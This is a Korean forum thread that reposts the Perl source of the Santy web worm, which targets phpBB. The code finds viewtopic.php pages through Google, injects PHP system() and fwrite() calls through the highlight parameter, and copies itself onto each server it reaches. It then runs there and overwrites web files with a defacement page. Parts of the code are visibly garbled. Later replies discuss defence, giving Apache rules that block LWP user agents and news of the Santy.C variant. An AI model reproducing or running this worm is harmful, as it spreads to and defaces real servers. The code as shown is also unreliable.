Santy웜-구글을 이용해 타겟 검색(phpBB공격)

snowtree의 이미지
익명 사용자의 이미지

#!/usr/bin/perl
use
strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

exit if -e 'stop.it';

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}

sub str2chr($) {
my $s = shift;

$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;

return $s;
}

sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}

sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join '', <Server>;
close (Server);

return $answer;
}

sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}

sub DoDir($) {

my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}

sub Pay Load() {

my @dirs;

eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/ ');

for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}

버려진의 이미지

http://bbs.kldp.org/viewtopic.php?t=49027

손님은 와우해커에서 보고 퍼오셨나보군요. :lol:

1g의 수정이 필요한 소스..

opt의 이미지

K-Otik 에서 퍼온 것일지도....

http://www.k-otik.com/exploits/20041222.sanityworm.pl.php

퍼온 소스에 대해 출처를 판단할 수 있는 앞부분의 헤더 정보를 빼놓는 것은 좋지 않은 습관인듯....

----
LUX ET VERITAS | Just for Fun!

권순선의 이미지

앞으로 phpbb의 보안 관련 문제에 신속하게 대처하고 릴리즈 정보를 빠르게 얻을 수 있도록 하기 위해 메일링 리스트를 phpbb 개발자들이 열었네요.

http://www.phpbb.com/support/

phpbb 사용자들은 위의 링크를 참고하세요...

opt의 이미지

Santy 가 점점 더 심각해져 가네요.
새로운 변종인 Santy.C 가 나왔는데, 이 웜의 경우 phpBB만 아니라, PHP 의include() 함수를 취약하게 사용하는 게시판들을 검색엔진으로 찾아내, 원격지에서 명령어를 실행시켜 감염시킵니다.

http://www.securityfocus.com/archive/1/385463/2004-12-23/2004-12-29/0

국내의 제로보드, 그누보드 사용자는 최근 발표된 취약점 패치를 반드시 적용하시기 바랍니다. 제로보드, 그누보드는 Santy.C의 공격에 취약합니다.

이 웜의 공격 기법이 검색 엔진에 발견된 URL 상에서 각 인자에 대해 전부 공격을 가하는 방식이기 때문에, 기존에 취약점이 발견되지 않은 게시판의 경우에도 공격에 취약할 수 있습니다.

Apache 사용자시라면 다음의 2가지 방법 중 하나를 사용하여 공격에 대처하시는 것이 좋을 듯 합니다.

---<httpd.conf>---
SetEnvIf User-Agent "LWP::" get_lost
SetEnvIf User-Agent "lwp-trivial" get_lost

<Directory /*>
Order Allow,Deny
Deny from env=get_lost
Allow from all
</Directory>
---<httpd.conf>---

---<httpd.conf>---
<Directory /*>
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)spy\.gif(.*)
RewriteRule ^.*$ - [F]
</Directory>
---<httpd.conf>---

위의 mod_rewrite 룰은 제가 익숙치 않아 실수가 있을 수도 있으니, 반드시 검토해보시고 적용하시는 것이 좋습니다.

참고로 웜의 개괄적인 소스를 덧붙이오니, 보다 나은 패턴을 다른 분들이 덧붙여주시면 좋겠네요.
http://www.k-otik.com/exploits/20041225.PhpIncludeWorm.php

----
LUX ET VERITAS | Just for Fun!